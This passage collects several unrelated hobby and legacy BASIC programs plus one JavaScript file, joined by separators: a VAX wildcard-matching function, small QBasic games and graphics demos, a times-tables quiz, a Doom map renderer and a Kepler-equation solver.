! available to any other person. No title to and ownership of
! the software is hereby transferred.
!
! The information in this software is subject to change without
! notice and should not be construed as a commitment by
! Computer Management Center, Inc.
!
! CMC assumes no responsibility for the use or reliability of
! its software on equipment which is not supported by CMC.
!
!++
!
! Abstract:HELP
! .b
! .lm +5
! This function compares a string to a pattern.
! It returns 0 if there is no match, and -1
! if there is.
! .lm -5
!
! Index:
!
! Parameters:
!
! TEST_STRING$
! The passed string to be tested.
!
! WILDCARD_STRING$
! The passed pattern to compare against.
! This value can be anything that is allowed in the
! "Wildcard" as defined in other manuels.
! ('*'s, ",", "/", "?", ...)
!
! Returned value
! An integer value containing the result of the
! comparison.
! (0 if match fails and -1 it succeeds.)
!
! Compile:
!
! $ BAS FUNC_SOURCE:COMP_STRING/NOLINE
! $ LIB FUNC_LIB:CMC_3VECTOR/REP COMP_STRING
! $ DELETE COMP_STRING.OBJ;*
!
! AUTHOR:
!
! 11/11/85 - Kevin Handy
!
! MODIFICATION HISTORY:
!
! 04/27/88 - Kevin Handy
! Modified to use the VAX function STR$MATCH_WILD
! which gives a much nicer range of matching
! (as well as being more consistant with the
! rest of VMS wildcards)
!
! 05/05/88 - Kevin Handy
! Modified to trim compare string, so that it will
! work like it did originally.
!
! 09/09/91 - Kevin Handy
! Modify documentation of function.
!
! 03/14/92 - Kevin Handy
! Clean up vars (checkvar)
!
! 04/15/95 - Kevin Handy
! (V3.6)
! Update to V3.6 coding standards
!
! 10/17/96 - Kevin Handy
! Clean up (Check)
!
! 08/19/98 - Kevin Handy
! (V3.6a Calico)
! Update to V3.6a coding standards
!
! 10/22/98 - Kevin Handy
! A blank wildcard never matches, so skip
! out quickly. (Since this is such a common
! occurance, this should speed up some things)
!
! 04/08/99 - Kevin Handy
! Use BASIC$STARLET fro STR$ routines
!--
%PAGE
OPTION SIZE = (INTEGER LONG, REAL GFLOAT)
%INCLUDE "STR$ROUTINES" %FROM %LIBRARY "SYS$LIBRARY:BASIC$STARLET.TLB"
%INCLUDE "$STRDEF" %FROM %LIBRARY "SYS$LIBRARY:BASIC$STARLET.TLB"
!
! Trim the test string
!
TEST_STRINGA$ = TRM$(TEST_STRING$)
IS_MATCH% = 0% ! No match
GOTO L3000 IF WILDCARD_STRING$ == ""
IS_MATCH% = -1% IF WILDCARD_STRING$ = "*" ! Yes match all
STR2$ = TRM$(WILDCARD_STRING$) + ","
L1000: IF IS_MATCH% = 0%
THEN
!
! Strip off one item to match
!
N_ITEM$ = LEFT(STR2$, INSTR(1%, STR2$, ",") - 1%)
STR2$ = RIGHT(STR2$, LEN(N_ITEM$) + 2%)
!
! A slash is used for from-to, but if there is a wildcard
! character in it, it is ignored.
!
SLASH% = INSTR(1%, N_ITEM$, "/")
SLASH% = 0% IF INSTR(1%, N_ITEM$, "?") OR &
INSTR(1%, N_ITEM$, "%") OR &
INSTR(1%, N_ITEM$, "*")
!
! Handle as either from/to, or as a comparison string
!
IF SLASH%
THEN
!
! From/to
!
IS_MATCH% = LEFT(N_ITEM$, SLASH% - 1%) <= TEST_STRINGA$ &
AND TEST_STRINGA$ <= RIGHT(N_ITEM$, SLASH% + 1%)
ELSE
!
! Change all question marks (?) to percent signes (%)
! so that old type of comparison from RSTS/E will
! still work.
!
FIXUP% = INSTR(1%, N_ITEM$, "?")
WHILE FIXUP%
N_ITEM$ = LEFT(N_ITEM$, FIXUP% - 1%) + "%" + &
RIGHT(N_ITEM$, FIXUP% + 1%)
FIXUP% = INSTR(1%, N_ITEM$, "?")
NEXT
IS_MATCH% = -1% &
IF (STR$MATCH_WILD(TEST_STRINGA$, N_ITEM$) = STR$_MATCH)
END IF
END IF
L2000:
GOTO L1000 IF STR2$ <> "" AND IS_MATCH% = 0%
L3000:
COMP_STRING = IS_MATCH%
END FUNCTION
|
'Star Explorer
'By: Jesse N. Richardson
CLS
PRINT "Fly a ship program."
PRINT
PRINT "0-9 = velosity (0 is no thruster)"
PRINT "Right and Left arrows incerease and decrease velosity."
PRINT "Up and Down arrows to move vertically."
PRINT "S = Stop the verticle movement."
PRINT "ESC = End"
WHILE INKEY$ = "": WEND
SCREEN 8, 0, 3, 0
DIM arr1(150), arr2(150)
FOR a = 0 TO 149
READ arr1(a)
NEXT a
FOR a = 0 TO 149
READ arr2(a)
NEXT a
FOR a = 0 TO 149
PSET (x, y), arr1(a)
PSET (x + 25, y), arr2(a)
x = x + 1
IF x = 25 THEN x = 0: y = y + 1
NEXT a
GET (0, 0)-(24, 5), arr1(0)
GET (25, 0)-(49, 5), arr2(0)
CLS
SCREEN 8, 0, 2, 2
TYPE vertex
x AS INTEGER
y AS INTEGER
c AS INTEGER
END TYPE
DIM star(100) AS vertex
RANDOMIZE TIMER
FOR i = 0 TO 20
star(i).x = (RND * 640) + 1
star(i).y = (RND * 200) + 1
star(i).c = (RND * 2) + 1
IF star(i).c = 1 THEN star(i).c = 8
IF star(i).c = 2 THEN star(i).c = 7
IF star(i).c = 3 THEN star(i).c = 7
PSET (star(i).x, star(i).y), star(i).c
NEXT i
g = 100
WHILE kbd$ = ""
1
kbd$ = INKEY$
SCREEN 8, 0, 2, 2
FOR i = 0 TO 20
star(i).x = star(i).x - 10
PSET (star(i).x, star(i).y), star(i).c
IF star(i).x < 0 THEN
star(i).x = 640
star(i).y = (RND * 200) + 1
END IF
NEXT i
SCREEN 8, 0, 2, 2': PCOPY 1, 2
PUT (f, g), arr2(0), AND
PUT (f, g), arr1(0), XOR
IF f + velosity <= 614 THEN f = f + velosity
IF uv = 1 THEN
IF g < 189 THEN g = g + vvelosity
IF g < 189 AND vvelosity = 0 THEN g = g + 1
IF gostop = 1 THEN
IF vvelosity > 0 THEN vvelosity = vvelosity - 1
IF vvelosity = 0 THEN gostop = 0: uv = 0
END IF
END IF
IF uv = 2 THEN
IF g > vvelosity THEN g = g - vvelosity
IF g > 1 AND vvelosity = 0 THEN g = g - 1
IF gostop = 1 THEN
IF vvelosity > 0 THEN vvelosity = vvelosity - 1
IF vvelosity = 0 THEN gostop = 0: uv = 0
END IF
END IF
IF velosity = 0 AND f > 1 THEN f = f - 2
SCREEN 8, 0, 0, 0: PCOPY 2, 0
PCOPY 1, 2
'Awsome code that does away with flicker! (WAIT)
WAIT &H3DA, 8
WEND
SELECT CASE kbd$
CASE CHR$(0) + "P"
IF uv = 0 THEN uv = 1
IF uv = 2 THEN
IF vvelosity > 0 THEN vvelosity = vvelosity - 1
IF vvelosity = 0 THEN uv = 1
END IF
IF uv = 1 AND vvelosity < 9 THEN vvelosity = vvelosity + 1
GOTO 1
CASE CHR$(0) + "H"
IF uv = 0 THEN uv = 2
IF uv = 1 THEN
IF vvelosity > 0 THEN vvelosity = vvelosity - 1
IF vvelosity = 0 THEN uv = 2
END IF
IF uv = 2 AND vvelosity < 9 THEN vvelosity = vvelosity + 1
GOTO 1
CASE CHR$(0) + "M"
IF velosity < 9 THEN velosity = velosity + 1
GOTO 1
CASE CHR$(0) + "K"
IF velosity > 0 THEN velosity = velosity - 1
GOTO 1
CASE "s", "S"
gostop = 1
GOTO 1
CASE "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"
velosity = VAL(kbd$)
GOTO 1
CASE CHR$(27)
GOTO nono
CASE ELSE
GOTO 1
END SELECT
nono:
WHILE INKEY$ = "": WEND
SCREEN 0: WIDTH 80
END
' 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
DATA 000,000,000,000,008,008,008,007,007,007,007,007,000,000,000,000,000,000,000,000,000,000,000,000,000
DATA 000,008,008,008,008,008,007,014,007,007,014,007,007,007,007,007,007,007,007,000,000,000,000,000,000
DATA 008,008,008,008,008,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007,007
DATA 000,000,000,000,000,000,007,007,007,007,007,000,000,000,000,000,000,000,000,000,000,000,000,000,000
DATA 000,000,000,000,000,000,000,007,007,007,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000
DATA 004,004,004,004,004,014,014,007,007,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000
DATA 015,015,015,015,000,000,000,000,000,000,000,000,015,015,015,015,015,015,015,015,015,015,015,015,015
DATA 015,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,015,015,015,015,015,015
DATA 000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000
DATA 015,015,015,015,015,015,000,000,000,000,000,015,015,015,015,015,015,015,015,015,015,015,015,015,015
DATA 015,015,015,015,015,015,015,000,000,000,015,015,015,015,015,015,015,015,015,015,015,015,015,015,015
DATA 000,000,000,000,000,000,000,000,000,015,015,015,015,015,015,015,015,015,015,015,015,015,015,015,015
|
SCREEN 13
WINDOW (0, 0)-(100, 100)
REM *** M.A. de Ruyterstraat 5 4695 EL Sint-Maartensdijk, 25 juli 1995, 01666-3745.
REM *** Draadfiguur kubus die om z'n as draait. Bekijk de figuur met een
REM *** zgn. 3D-bril, rood en groen glas. Rood links.
FOR I = 16 TO 31
LOCATE 12, 13
COLOR I
PRINT "Erik van Zijst"
LOCATE 13, 14
PRINT " Presents:"
FOR C = 1 TO 10000: NEXT C
NEXT I
FOR I = 31 TO 16 STEP -1
COLOR I
LOCATE 12, 13
PRINT "Erik van Zijst"
LOCATE 13, 14
PRINT " Presents:"
FOR C = 1 TO 10000: NEXT C
NEXT I
FOR I = 16 TO 31
LOCATE 12, 13
COLOR I
PRINT "Virtual Reality"
FOR C = 1 TO 10000: NEXT C
NEXT I
FOR I = 31 TO 16 STEP -1
COLOR I
LOCATE 12, 13
PRINT "Virtual Reality"
FOR C = 1 TO 10000: NEXT C
NEXT I
FOR I = 16 TO 31
COLOR I
LOCATE 12, 10
PRINT "Wear 3D-glasses now."
LOCATE 13, 10
PRINT "Spacebar to continue."
FOR C = 1 TO 10000: NEXT C
NEXT I
PLAY "P2"
FOR I = 31 TO 16 STEP -1
COLOR I
LOCATE 12, 10
PRINT "Wear 3D-glasses now."
LOCATE 13, 10
PRINT "Spacebar to continue."
FOR C = 1 TO 10000: NEXT C
NEXT I
REM ** Programma begint nu. **
LOCATE 25, 1
COLOR 15
PRINT "Gemaakt door Erik van Zijst 25-7-95."
PRINT "Druk op 'Esc' om te stoppen."
10 FOR I = 1 TO 100
A = (45 + (SIN(I / 15.9) * 25))
B = (45 - (COS(I / 15.9) * 25))
C = (45 - (SIN(I / 15.9) * 25))
D = (45 + (COS(I / 15.9) * 25))
E = (50 + (SIN((I + 2) / 15.9) * 25))
F = (50 - (COS((I + 2) / 15.9) * 25))
G = (50 - (SIN((I + 2) / 15.9) * 25))
H = (50 + (COS((I + 2) / 15.9) * 25))
REM ** Teken onderste vlak van de kubus. **
LINE (A, 35)-(B, 25), 91
LINE (E, 35)-(F, 25), 100
LINE (B, 25)-(C, 20), 91
LINE (F, 25)-(G, 20), 100
LINE (C, 20)-(D, 30), 91
LINE (G, 20)-(H, 30), 100
LINE (D, 30)-(A, 35), 91
LINE (H, 30)-(E, 35), 100
REM ** Teken bovenste vlak van de kubus. **
LINE (A, 85)-(B, 75), 91
LINE (E, 85)-(F, 75), 100
LINE (B, 75)-(C, 70), 91
LINE (F, 75)-(G, 70), 100
LINE (C, 70)-(D, 80), 91
LINE (G, 70)-(H, 80), 100
LINE (D, 80)-(A, 85), 91
LINE (H, 80)-(E, 85), 100
REM ** Teken viervlak in de kubus. **
LINE (A, 85)-(C, 70), 91
LINE (E, 85)-(G, 70), 100
LINE (A, 85)-(D, 30), 91
LINE (E, 85)-(H, 30), 100
LINE (D, 30)-(C, 70), 91
LINE (H, 30)-(G, 70), 100
LINE (A, 85)-(B, 25), 91
LINE (E, 85)-(F, 25), 100
LINE (B, 25)-(C, 70), 91
LINE (F, 25)-(G, 70), 100
LINE (D, 30)-(B, 25), 91
LINE (H, 30)-(F, 25), 100
REM ** Teken de verbindingslijnen van het bovenste met het onderste vlak. **
LINE (A, 85)-(A, 35), 91
LINE (E, 85)-(E, 35), 100
LINE (B, 75)-(B, 25), 91
LINE (F, 75)-(F, 25), 100
LINE (D, 80)-(D, 30), 91
LINE (H, 80)-(H, 30), 100
LINE (C, 20)-(C, 70), 91
LINE (G, 20)-(G, 70), 100
FOR C = 1 TO 3000: NEXT C
LINE (0, 16)-(100, 100), 15, BF
IF INKEY$ = CHR$(27) THEN END
NEXT I
GOTO 10
|
10 REM MATHS TIMES TABLES TEST
20 sc = 0
30 n = 20
40 REM generate off cpu time to change random
50 a = rnd(- ti)
60 for att = 1 to n
70 print "{clear}"
80 print "{yellow}maths - multiplication test"
90 print "==========================="
100 print "{white}question "; att; "out of "; n
110 print "score: "; score
120 REM generate random numbers
130 a = int(12*rnd(1)) + 1
140 b = int(12*rnd(1)) + 1
150 c = a*b
160 print "what is "; a " x "; b
170 input g
180 REM check if correct
190 if g = c then sc = sc + 10: next att
200 if g <> c then next att
210 REM finished section
220 print "{clear}"
230 if sc < (10*n)/2 then print "you need to work harder":print "at your times table":end
240 if sc = (10*n) then print "you got them all correct":print "well done":end
250 if sc >= (10*n)/2 then print "well done"
260 end |
DECLARE SUB PASSTOSUB (S AS snake)
DECLARE FUNCTION SOMEFUNC# (X)
TYPE pos
x AS INTEGER
y AS INTEGER
z AS INTEGER
END TYPE
TYPE snake
head AS INTEGER
name AS STRING
pp AS pos
END TYPE
DIM X(10) AS snake
X(3).head = SOMEFUNC#(123)
X(3).name = "fred"
X(3).pp.y = 987
PRINT X(3).head; X(3).name; X(3).pp.y
PASSTOSUB X()
SUB PASSTOSUB (S() AS snake)
PRINT S(3).head; S(3).name; S(3).pp.y
END SUB
FUNCTION SOMEFUNC#(X)
SOMEFUNC = X*2
END FUNCTION
REM output
246 fred 987
246 fred 987
|
// ==================JsMobileBasic Script================= *
include('Math.bas');
include('3Delements.bas');
const FRAME = true;
let elements = [];
const zero = [screenWidth() / 2, screenHeight() / 2];
let [transX, transY, transZ, Scale] = [0, 0, 0, 1];
let [posX, posY, posZ] = [0, 0, 0];
let fill = true;
let gradient = true;
let mode = 1;
/** Точка входа
*/
function Main() {
/** Обработчик клавиатуры
* @param {number} code - Код нажатой клавиши
*/
window.onKeyDown = function (code) {
// 38 w
// 39 d
// 40 s
// 37 a
// 87 W
// 83 S
// 65 A
// 68 D
// 85 U
// 75 K
// 74 J
// 72 H
console.log(code);
switch (code) {
case 38: // Вверх
transY--;
render();
break;
case 39: // Вправо
transX++;
render();
break;
case 40: // Вних
transY++;
render();
break;
case 37: // Влево
transX--;
render();
break;
case 87: // W
Scale += .1;
render();
break;
case 83: // S
Scale -= .1;
render();
break;
case 65: // A
transZ += 0.1;
render();
break;
case 68: // D
transZ -= 0.1;
render();
break;
case 85: // U
posZ += 10; //Forward
render();
break;
case 75: // K
posX += 10; //Right
render();
break;
case 74: // J
posZ -= 10; //Backward
render();
break;
case 72: // H
posX -= 10; //Left
render();
break;
case 71:
gradient = !gradient;
render();
break;
case 82: //R
[transX, transY, transZ, Scale] = [0, 0, 0, 1];
[posX, posY, posZ] = [0, 0, 0];
mode = 1;
render();
break;
//Modes
case 48: // 0
mode = 0;
render();
break;
case 49: // 1
mode = 1;
render();
break;
case 50: // 2
mode = 2;
render();
break;
case 51: // 3
mode = 3;
render();
break;
case 52: // 4
mode = 4;
render();
break;
case 53: // 5
mode = 5;
render();
break;
case 54: // 6
mode = 6;
posZ = 600;
render();
break;
case 89: // Y
posY-=10;
render();
break;
case 73: // I
posY+=10;
render();
break;
case 27: //Esc
fill = !fill;
render();
break;
case 112: // F1
alert(
`Стрелки - вращение карты по XY
WS - масштабирование
AD - вращение карты по Z (наклон)
UJ - перемещение камеры по оси Z
HK - перемещение камеры по оси X
YI - перемещение камеры по оси Y
0 - режим тестирования 2d -> 1d проекции
1 - режим отображения без проекции
2 - режим отображения с 3d -> 2d проекцией
3 - режим отображения с Хабровской проекцией
5 - проекция на основе 3d -> 2d * sin(alpha)
Esc - переключение fill/wireframe (заливка/каркасс)
G - переключение фонового градиента
R - сброс режима и перемещения
F12 - открыть консоль отладки
`);
break;
default:
break;
}
console.log([transX, transY, transZ, posX, posY, posZ].join('\t'));
}
window.onKeyUp = render;
elements = [];
// elements.push(new Wall(
// new Vertex(-100, 0, 100),
// new Vertex(100, 0, 100),
// rgb(random(0, 255), random(0, 255), random(0, 255))));
const WadParser = new(require('./WadParser'));
const vertexes = WadParser.getVertexes('data/VERTEXES.lmp');
const lines = WadParser.getLinedefs('data/LINEDEFS.lmp');
const sectors = WadParser.getSectors('data/SECTORS.lmp');
const sides = WadParser.getSides('data/SIDEDEFS.lmp')
function a(n) {
return [100 + (n & 0xA), 100 + (n & 0xC), 100 + (n & 0xF)]
}
for (const line of lines) {
//debugger;
const color = rgba(random(0, 255), random(0, 255), random(0, 255), .3);
elements.push(new Wall(
new Vertex(vertexes[line.v1].x, 0, vertexes[line.v1].y),
new Vertex(vertexes[line.v2].x, 0, vertexes[line.v2].y),
rgba(random(0, 255), random(0, 255), random(0, 255), .3),
// rgb(...a(sides[Math.max(line.front, 0)].middletex)),
sectors[sides[Math.max(line.front, 0)].sector].floor,
sectors[sides[Math.max(line.front, 0)].sector].height
))
}
render();
}
/** Функция рендера
*/
function render() {
if (mode === 0) {
// Тест 2d -> 1d проекции
cls();
project2(transX, transY, posX, posZ);
return;
}
if (gradient) {
const grad = makeLinearGradient(0, 0, 1, screenHeight());
setGradientColor(grad, 0, 'gray');
setGradientColor(grad, 1, 'black');
fillScreen(grad);
} else fillScreen('black');
for (const element of elements) {
element.render({
transX,
transY,
transZ,
Scale,
posX,
posY,
posZ
});
}
}
/** Проецирует двумерное пространство на одномерную плоскость
* @param {number} x - X Координата проецируемой точки в двумерном пространстве
* @param {number} y - Y Координата проецируемой точки в двумерном пространстве
* @param {number} posX - Координата наблюдателя в двумерном пространстве
* @param {number} posY - Координата наблюдателя в двумерном пространстве
* @returns {number} X координата на одномерной плоскости
*/
function _2dTO1d(x, y, posX, posY) {
const tana = (posY - y) / (posX - x);
// Для отсечения ошибочных результатов
if (y > posY || y < 0) return -Infinity;
return x - y / tana;
}
/** Проецирует трехмерное пространство на двуменрую плоскость
* @param {number} x - X Координата проецируемой точки в трехмерном пространстве
* @param {number} y - Y Координата проецируемой точки в трехмерном пространстве
* @param {number} z - Z Координата проецируемой точки в трехмерном пространстве
* @param {number} posX - X Координата наблюдателя в трехмерном пространстве
* @param {number} posY - Y Координата наблюдателя в трехмерном пространстве
* @param {number} posZ - Z Координата наблюдателя в трехмерном пространстве
* @returns {array} Координаты X и Y на двумерной плоскости
*/
function _3dTO2d(x, y, z, posX, posY, posZ) {
// Без проекции
if (mode === 1) return [x - posX, y - posZ];
if(mode === 6) {
function normalize(z) {
while(Math.floor(z) > 0) {
z /= 10;
}
return z.toFixed(2);
}
const z_lenght = z;// - posZ;
const perspective = new Matrix3([
normalize(z_lenght), 0, 0,
0, normalize(z_lenght), 0,
0, 0, normalize(z_lenght),
]);
const vec = perspective.transform(new Vec3(x, y, z));
const x1 = _2dTO1d(x, z, posX, posZ); // Чем больше 1 - тем больше дальность отрисовки
const y1 = _2dTO1d(y, z, posY, posZ);
return [x1, y1];
}
if (mode === 2) {
// 3d -> 2d проекция
const x1 = _2dTO1d(x, z / 1, posX, posZ); // Чем больше 1 - тем больше дальность отрисовки
const y1 = _2dTO1d(y, z / 1, posY, posZ);
return [x1, y1];
}
if (mode === 5) {
// 3d -> 2d проекция
const x1 = _2dTO1d(x, z / 1, posX, posZ); // Чем больше 1 - тем больше дальность отрисовки
const y1 = _2dTO1d(y, z / 1, posY, posZ);
const vec = new Vec3(x - posX, y - posY, z - posZ);
const length = sqrt(vec.x ** 2 + vec.y ** 2 + vec.z ** 2);
const xlen = x - posX;
const sina = xlen / length;
return [x1 * sin(90 - sina) - zero[0], y1 * sin(sina) + zero[1]];
}
// Какая-то проекция с Хабра
if (mode === 3 || mode === 4) {
let [x1, y1, z1] = [x, y, z];
x1 -= posX;
y1 -= posY;
z1 -= posZ;
const x2 = x1 * sin(transX) + y1 * cos(transX);
const z2 = x1 * cos(transX) - y1 * sin(transX);
const y2 = z1;
const x3 = zero[0] + (x2 / z) * (screenWidth() / 2);
const y3 = zero[1] + (y2 / z) * (screenHeight() / 2);
if(mode === 3) return [x2, y2];
if(mode === 4) return [x3, y3];
}
// Другая проекция с Хабра
/* const [c, s, a, b] = [S3.cosMy, S3.sinMy, S3.termA, S3.termB];
const px = 0.9815 * c * x + 0.9815 * s * z + 0.9815 * a
const py = 1.7321 * y - 1.7321 * S3.ey
const pz = s * x - z * c - b - 0.2
const pw = x * s - z * c - b
const [ndcx, ndcy] = [px / abs(pw), py / abs(pw)]
return 120 + ndcx * 120, 68 - ndcy * 68, pz */
}
function project2(x, y, posX, posY) {
setColor('red');
fillArc(zero[0] + x, zero[1] - y, 5); // Точка
setColor('green');
fillArc(zero[0] + posX, zero[1] - posY, 5); // Наблюдатель
setColor('blue');
fillArc(
zero[0] + _2dTO1d(x, y, posX, posY),
zero[1],
5
); // Проекция точки на ось X
} |
'Soluzione dell'EQUAZIONE di KEPLERO: E = M + e * SIN(E)
' Con due metodi tradizionali e con le Variabili Universali
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
COLOR 14, 6: CLS
DEFDBL A-Z
DEF FNatan (y, x) = (1 + (x = 0)) * ATN(y / (x + (x = 0))) - pi * (x <= 0) - 2 * pi * (x > 0 AND y < 0) + (x = 0) * SGN(y) * pi / 2
DEF FNridu (x) = (x / (2 * pi) - (INT(x / (2 * pi)) - (x < 0))) * 2 * pi
DEF FNacos (x) = pi / 2 - (2 + (x < 1 AND x > -1)) * ATN(x / SQR(1 + x * x * (x < 1 AND x > -1)))
pi = ATN(1) * 4: rad = pi / 180: kgauss = .01720209895#
' mgra = 29.568230006#: e = .9: a = 1: 'q=0.1 t=30 days
' mgra = 18.47902673#: e = .987: a = 7.692307692#: 'q=0.1 t=400 days
' mgra = 149.7463873#: e = .3978305: a = .756656
' mgra = 19.952457#: e = .00684458: a = .7233322169
' ******************* Epoca: 1.5/1/2002 (Hansen) **************************
mgra = 286.53759248#: e = .20560396#: a = .387093595#: 'Mercury
mgra = 141.58474327#: e = .00684458#: a = .723331617#: 'Venus
mgra = 358.49294412#: e = .01677126#: a = 1.000000219#: 'Earth
mgra = 43.11829743#: e = .09326685#: a = 1.52368838#: 'Mars
mgra = 81.09098333999999#: e = .04825382#: a = 5.202755032#: 'Jupiter
mgra = 342.33429146#: e = .05606075#: a = 9.54285512#: 'Saturn
mgra = 151.48239878#: e = .0469055#: a = 19.1909792#: 'Uranus
mgra = 263.83036278#: e = .0085082#: a = 30.070947#: 'Neptune
' *************************************************************************
'' mgra = 204.79768#: e = .0044295: a = 12271: '(a) in km; Sat Lageos-1
m = mgra * rad
anomecc = m 'Valore iniziale di E assunto pari all'anom.media M
kount = 0
'GOTO 12 'SELEZIONA Laguerre(goto12-OUT) - Mikkola(goto12-IN)
n = 8 ' Con n=8 -> Laguerre ð Newton
DO
F0 = anomecc - e * SIN(anomecc) - m
F1 = 1 - e * COS(anomecc)
F2 = e * SIN(anomecc)
RAX = (n - 1) ^ 2 * F1 ^ 2 - n * (n - 1) * F0 * F2
IF RAX < 0 THEN RAX = -RAX
RAD1 = F1 - SQR(RAX): RAD2 = F1 + SQR(RAX)
IF ABS(RAD1) > ABS(RAD2) THEN RADI = RAD1 ELSE RADI = RAD2
variaz = -n * F0 / RADI
kount = kount + 1
anomecc = anomecc + variaz
PRINT kount, anomecc, variaz
LOOP UNTIL ABS(variaz) < .0000000001#
GOTO 15
12 : ' MIKKOLA
alfa = (1 - e) / (4 * e + .5): beta = m / (8 * e + 1)
z = SGN(m) * ABS(beta + SQR(beta ^ 2 + alfa ^ 3)) ^ (1 / 3)
s0 = z - alfa / 2: s = s0 - .078 * s0 * s0 ^ 2 * s0 ^ 2 / (1 + e)
anomecc = m + e * SGN(m) * (3 * s - 4 * s * s * s)'Valore iniziale di E
DO
F0 = anomecc - e * SIN(anomecc) - m
F1 = 1 - e * COS(anomecc)
variaz = -F0 / F1
kount = kount + 1
anomecc = anomecc + variaz
PRINT kount, anomecc, variaz
LOOP UNTIL ABS(variaz) < .0000000001#
15 :
tgv = TAN(anomecc / 2) * SQR((1 + e) / (1 - e))
v = FNridu(2 * FNatan(tgv, 1))
r = a * (1 - e * COS(anomecc))
'
PRINT " DATI"
PRINT USING " Anom. media M = ###.###### Eccentr.(e) = #.####### Sem.mag (a) = ##.######"; mgra#; e#; a#
PRINT " RISULTATI"
PRINT " Anomalia Eccentrica E = ", anomecc / rad; "ø = "; anomecc; " rad"
PRINT " Anomalia Vera é = ", v / rad
PRINT " Raggio Vettore r = ", r
PRINT USING " X-orb=##.######## Y-orb=##.########"; r * COS(v); r * SIN(v)
PRINT
PRINT "******************************** V.U. **********************************"
'
22 :
deltaTp = m * a ^ 1.5 / kgauss: 'Giorni dal Perielio
q = a * (1 - e): tau = kgauss * deltaTp: r0 = q
' Starting VALUE (x0) derived by this cubic equation -> [ x^3+6ùr0ùx-6ç=0 ]
c1 = 3 * tau + SQR(9 * tau ^ 2 + 8 * r0 ^ 3): c2 = 3 * tau - SQR(9 * tau ^ 2 + 8 * r0 ^ 3)
cc1 = SGN(c1) * ABS(c1) ^ (1 / 3): cc2 = SGN(c2) * ABS(c2) ^ (1 / 3)
x0 = cc1 + cc2
'Generalized Conic Functions: S(z)=1/3!-z/5!+zý/7!...; C(z)=1/2!-z/4!+zý/6!....
' z=xý/a; x=unknown=Generalized Eccentric Anomaly
DEF FNS (z) = 1 / 6 * ((((((((z / 342 - 1) * z / 272 + 1) * z / 210 - 1) * z / 156 + 1) * z / 110 - 1) * z / 72 + 1) * z / 42 - 1) * z / 20 + 1)
DEF FNC (z) = 1 / 2 * ((((((((z / 306 - 1) * z / 240 + 1) * z / 182 - 1) * z / 132 + 1) * z / 90 - 1) * z / 56 + 1) * z / 30 - 1) * z / 12 + 1)
kount = 0
10 : kount = kount + 1
z0 = x0 ^ 2 / a
F = x0 ^ 3 * FNS(z0) + r0 * x0 * (1 - z0 * FNS(z0)) - tau 'Kepler Eq.
r = x0 ^ 2 * FNC(z0) + r0 * (1 - z0 * FNC(z0)) 'Radius Vector
x = x0 - F / r: ' Newton-Raphson iteration
IF ABS(F / r) < .000000001# THEN 20
x0 = x
PRINT USING " It-No=## r= ##.######## x= ##.######### (+#.##^^^^)"; kount; r; x; ABS(F / r)
GOTO 10
'
20 : teta = FNacos((q * (1 + e) / r - 1) / e) / rad
IF tau < 0 THEN teta = 360 - teta
COLOR 10: PRINT
PRINT USING " True Anom. v= ###.#####ø r=####.######## UA (ëx=+#.##^^^^)"; teta; r; ABS(F / r): COLOR 14
END
|
100 PRINT "THIS IS THE GAME OF CHASE"
110 PRINT "WANT INSTRUCTIONS";
120 INPUT C$
130 IF LEFT$(C$,1)="N" THEN 230
140 IF LEFT$(C$,1)<>"Y" THEN 110
150 PRINT "YOU ARE '*' IN A HIGH VOLTAGE MAZE WITH 5"
160 PRINT "SECURITY MACHINES '+' TRYING TO DESTROY YOU"
170 PRINT "YOU MUST MANEUVER THE SECURITY MACHINES INTO"
180 PRINT "THE MAZE 'X' TO SURVIVE. GOOD LUCK !!!"
190 PRINT "MOVES ARE 7,8,9"
200 PRINT " 4,5,6"
210 PRINT " 1,2,3 0 TO END THE GAME"
220 PRINT
230 DIM A(10,20),E(21),F(21)
240 LET G=0
250 FOR B=1 TO 10
260 FOR C=1 TO 20
270 LET A(B,C)=0
280 IF B=1 THEN 330
290 IF B=10 THEN 330
300 IF C=1 THEN 330
310 IF C=20 THEN 330
320 GOTO 340
330 LET A(B,C)=1
340 NEXT C
350 NEXT B
360 FOR D=1 TO 21
370 LET B=INT(RND(1)*8)+2
380 LET C=INT(RND(1)*18)+2
390 IF A(B,C)<>0 THEN 370
400 LET A(B,C)=1
410 IF D<6 THEN 430
420 GOTO 440
430 LET A(B,C)=2
440 IF D=6 THEN 460
450 GOTO 470
460 LET A(B,C)=3
470 LET E(D)=B
480 LET F(D)=C
490 NEXT D
500 FOR B=1 TO 10
510 FOR C=1 TO 20
520 IF A(B,C)<>0 THEN 550
530 PRINT " ";
540 GOTO 630
550 IF A(B,C)<>1 THEN 580
560 PRINT "X";
570 GOTO 630
580 IF A(B,C)<>2 THEN 610
590 PRINT "+";
600 GOTO 630
610 IF A(B,C)<>3 THEN 630
620 PRINT "*";
630 NEXT C
640 PRINT
650 NEXT B
660 LET B=E(6)
670 LET C=F(6)
680 LET A(B,C)=0
690 INPUT Y
700 ON Y+1 GOTO 1040,730,730,730,740,780,740,710,710,710
710 LET B=B-1
720 GOTO 740
730 LET B=B+1
740 ON Y GOTO 750,780,770,750,780,770,750,780,770
750 LET C=C-1
760 GOTO 780
770 LET C=C+1
780 IF A(B,C)=1 THEN 1060
790 IF A(B,C)=2 THEN 1080
800 LET A(B,C)=3
810 LET E(6)=B
820 LET F(6)=C
830 FOR D=1 TO 5
840 IF A(E(D),F(D))<>2 THEN 1020
850 LET A(E(D),F(D))=0
860 IF E(D)>=B THEN 890
870 LET E(D)=E(D)+1
880 GOTO 910
890 IF E(D)=B THEN 910
900 LET E(D)=E(D)-1
910 IF F(D)>=C THEN 940
920 LET F(D)=F(D)+1
930 GOTO 960
940 IF F(D)=C THEN 960
950 LET F(D)=F(D)-1
960 IF A(E(D),F(D))=3 THEN 1080
970 IF A(E(D),F(D))=0 THEN 1000
980 LET G=G+1
990 GOTO 1010
1000 LET A(E(D),F(D))=2
1010 IF G=5 THEN 1100
1020 NEXT D
1030 GOTO 500
1040 PRINT "SORRY TO SEE YOU QUIT"
1050 GOTO 1110
